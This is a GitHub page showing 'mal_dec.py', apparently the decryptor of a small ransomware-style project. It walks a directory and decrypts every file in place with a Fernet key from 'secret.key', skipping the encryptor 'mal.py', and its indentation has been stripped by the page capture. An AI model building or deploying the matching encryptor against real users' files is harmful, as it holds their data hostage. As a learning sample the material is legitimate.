-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmal_dec.py
More file actions
29 lines (24 loc) · 787 Bytes
/
mal_dec.py
File metadata and controls
29 lines (24 loc) · 787 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
path = os.path.dirname(os.path.realpath(__file__))
files = []
directorie = []
last_dir = []
# r=root, d=directories, f = files
for r, d, f in os.walk(path):
for file in f:
directorie.append(os.path.join(r, file))
with open("secret.key","rb") as key:
secretkey=key.read()
for f in directorie:
if f.split('/')[-1] == "mal.py" or f.split('/')[-1] == "secret.key" or f.split('/')[-1] == "mal_dec.py":
continue
else:
last_dir.append(f)
for file in last_dir:
with open(file,"rb") as thefile:
contents=thefile.read()
contents_decrypted = Fernet(secretkey).decrypt(contents)
with open(file,"wb") as thefile:
thefile.write(contents_decrypted)